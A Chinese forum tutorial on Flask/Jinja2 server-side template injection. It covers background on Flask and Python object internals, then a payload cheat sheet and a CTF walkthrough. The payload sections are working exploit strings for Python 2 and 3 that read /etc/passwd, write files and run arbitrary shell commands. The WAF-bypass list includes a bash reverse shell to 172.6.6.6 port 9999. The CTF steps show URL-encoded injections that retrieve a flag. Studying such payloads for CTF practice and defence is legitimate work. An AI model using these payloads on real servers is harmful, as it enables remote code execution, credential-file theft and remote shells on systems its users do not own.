python-flask-ssti(模版注入漏洞)

王铁柱   ·   发表于 2020-10-21 20:58:09   ·   技术文章投稿区

声明:学习资料来源于:https://www.cnblogs.com/hackxf/p/10480071.html

python-flask-ssti(模版注入漏洞)

原理:

SSTI(Server-Side Template Injection) 服务端模板注入,就是服务器模板中拼接了恶意用户输入导致各种漏洞。通过模板,Web应用可以把输入转换成特定的HTML文件或者email格式。

模板注入和SQL注入很像,都是用户输入被当做代码执行(因此,“用户的输入都是不可信的”)这句话整的很实用。

前置知识:

1.运行一个一个最小的 Flask 应用

from flask import Flask
app = Flask(__name__)
"""第一部分,初始化:所有的Flask都必须创建程序实例,
web服务器使用wsgi协议,把客户端所有的请求都转发给这个程序实例
程序实例是Flask的对象,一般情况下用如下方法实例化
Flask类只有一个必须指定的参数,即程序主模块或者包的名字,__name__是系统变量,该变量指的是本py文件的文件名"""


@app.route('/')
def hello_world():
    return __name__
#  第二部分,路由和视图函数:
#  客户端发送url给web服务器,web服务器将url转发给flask程序实例,程序实例
#  需要知道对于每一个url请求启动那一部分代码,所以保存了一个url和python函数的映射关系。
#  处理url和函数之间关系的程序,称为路由
#  在flask中,定义路由最简便的方式,是使用程序实例的app.route装饰器,把装饰的函数注册为路由 


if __name__ == '__main__':
    print('dd',__name__)
    app.run()
#  第三部分:程序实例用run方法启动flask集成的开发web服务器
#  __name__ == '__main__'是python常用的方法,表示只有直接启动本脚本时候,才用app.run方法
#  如果是其他脚本调用本脚本,程序假定父级脚本会启用不同的服务器,因此不用执行app.run()
#  服务器启动后,会启动轮询,等待并处理请求。轮询会一直请求,直到程序停止。
  • 如上述代码所示,app是flask的实例,功能就是接受来自web服务器的请求
  1. 浏览器将请求给web服务器,web服务器将请求给app ,

  2. app收到请求,通过路由找到对应的视图函数,然后将请求处理,得到一个响应response

  3. 然后app将响应返回给web服务器,

  4. web服务器返回给浏览器,

  5. 浏览器展示给用户观看,流程完毕。

    2.jinja2

       jnja2是Flask作者开发的一个模板系统,起初是仿django模板的一个模板引擎,为Flask提供模板支持,由于其灵活,快速和安全等优点被广泛使用。
    

    jinja2 存在着三种特殊的语句

    1. {% %}:控制结构。

    2. {{ }}:变量取值。被两个括号包裹的内容会输出其表达式的值

    3. {# #}:注释。

      jinja2模板中使用{{ }}语法表示一个变量,他是一种特殊的占位符。当利用jinja2进行渲染时,他会把这些特殊的占位符进行填充/替换,jinja2支持python中所有的python数据类型。

      jinja2中的过滤器:

      变量名后面加一根竖线,再跟上过滤器的名字就能使用特定的过滤器修改变量了。

      image-20201021175353715

    safe 过滤器值得特别说明一下。默认情况下,出于安全考虑, Jinja2 会转义所有变量。很多情况下需要显示变量中存储的 HTML 代码,这时就可使用 safe 过滤器。

    inja2中的过滤器可以理解为是jinja2里面的内置函数和字符串处理函数。

    3.python魔法函数

    ​ Python内置的以双下划线开头并以双下划线结尾的函数(不能自己定义,没有用),如_等很多,用于实现并定制很多特性,非常灵活,且是隐式调用的。 

    ​ 魔法函数会直接影响到Python语法本身,如让类变成可迭代的对象,也会影响Python的一些内置函数的调用,如实现len()能对对象调用len()方法。

    常用的魔法函数:https://www.cnblogs.com/small-office/p/9337297.html

    4.python中的object

    ​ 在python的object类中集成了很多的基础函数,我们想要调用的时候也是需要用object去操作的,这是两种创建object的方法

    Python中一些常见的特殊方法:

    __class__返回调用的参数类型。
    __base__返回基类
    __mro__允许我们在当前Python环境下追溯继承树
    __subclasses__()返回子类
    

     

ssti漏洞检测

检测到模板注入漏洞后,需要准确识别模板引擎的类型。神器Burpsuite 自带检测功能,并对不同模板接受的 payload 做了一个分类,并以此快速判断模板引擎:

img

漏洞利用

1.payload原理

​ ·Jinja2 模板中可以访问一些 Python 内置变量,如[] {} 等,并且能够使用 Python 变量类型中的一些函数。加上python中的魔术方法,object类中的基本方法。结合这几个 我们可以 实现任意代码的执行。

2.payload具体思路

现在我们的思路就是从一个内置变量调用__class__.base__等隐藏属性,去找到一个函数,然后调用其__globals['builtins']即可调用eval等执行任意代码。

builtins即是引用,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以这里直接调用引用的模块

>>> ''.__class__.__base__.__subclasses__()
# 返回子类的列表 [,,,...]

#从中随便选一个类,查看它的__init__
>>> ''.__class__.__base__.__subclasses__()[30].__init__
<slot wrapper '__init__' of 'object' objects>
# wrapper是指这些函数并没有被重载,这时他们并不是function,不具有__globals__属性

#再换几个子类,很快就能找到一个重载过__init__的类,比如
>>> ''.__class__.__base__.__subclasses__()[5].__init__

>>> ''.__class__.__base__.__subclasses__()[5].__init__.__globals__['__builtins__']['eval']
#然后用eval执行命令即可

常用的payload

python2:

文件的写入和读取

#读文件
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}  
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
#写文件
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}

任意执行

​ 每次执行都要先写然后编译执行

{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('code')}}  
{{ config.from_pyfile('/tmp/owned.cfg') }}

​ 写入一次

{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('from subprocess import check_output\n\nRUNCMD = check_output\n')}}  
{{ config.from_pyfile('/tmp/owned.cfg') }}  
{{ config['RUNCMD']('/usr/bin/id',shell=True) }}

​ 不回显的

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']('1+1')}}
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').system('whoami')")}}

​ 任意执行只需要一条指令

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}(这条指令可以注入,但是如果直接进入python2打这个poc,会报错,用下面这个就不会,可能是python启动会加载了某些模块)  

{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}(system函数换为popen('').read(),需要导入os模块)  
{{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}(不需要导入os模块,直接从别的模块调用)

​ 总结

通过某种类型(字符串:"",list:[],int:1)开始引出,__class__找到当前类,__mro__或者__base__找到__object__,前边的语句构造都是要找这个。然后利用object找到能利用的类。还有就是{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')}}这种的,能执行,但是不会回显。一般来说,python2的话用file就行,python3则没有这个属性。

python3

​ 因为python3没有file了,所以用的是open

​ 文件读取

{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__[%27open%27](%27/etc/passwd%27).read()}}

​ 任意执行

{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}

​ 命令执行

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}

WAF绕过

python2:
[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')
[].__class__.__base__.__subclasses__()[76].__init__.__globals__['os'].system('ls')
"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[40](filename).read()
"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('bash -c "bash -i >& /dev/tcp/172.6.6.6/9999 0>&1"')

python3:
''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']
"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('__global'+'s__')['os'].__dict__['system']('ls')

例题演示

例题演示

题目:攻防世界之Web_python_template_injection

连接:https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=5408&page=1

image-20201021204305198

打开题目提示存在 python 的模板注入

传参之后页面报错 但是输入的参数 a和x 已经被成功输入。

.访问http://192.168.100.161:62264/%7B%7B[].__class__.__base__.__subclasses__()%7D%7D,来查看所有模块

3.os模块都是从warnings.catch_warnings模块入手的,在所有模块中查找catch_warnings的位置,为第59个

4.访问http://192.168.100.161:62264/%7B%7B[].__class__.__base__.__subclasses__()[59].__init__.func_globals.keys()%7D%7D,查看catch_warnings模块都存在哪些全局函数,可以找到linecache函数,os模块就在其中

5.使用['o'+'s'],可绕过对os字符的过滤,访问http://192.168.100.161:62264/%7B%7B().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__(%22os%22).popen(%22ls%22).read()'%20)%7D%7D查看flag文件所在

6.访问http://192.168.100.161:62264/%7B%7B%22%22.__class__.__mro__[2].__subclasses__()[40](%22fl4g%22).read()%7D%7D,可得到flag,如图所示

用户名金币积分时间理由
veek 100.00 0 2020-10-22 11:11:15 一个受益终生的帖子~~

打赏我,让我更有动力~

1 Reply   |  Until 2020-10-22 | 669 View

王铁柱
发表于 2020-10-22

哥哥们,帮忙点点赞

评论列表

  • 加载数据中...

编写评论内容
LoginCan Publish Content
返回顶部 投诉反馈

© 2016 - 2022 掌控者 All Rights Reserved.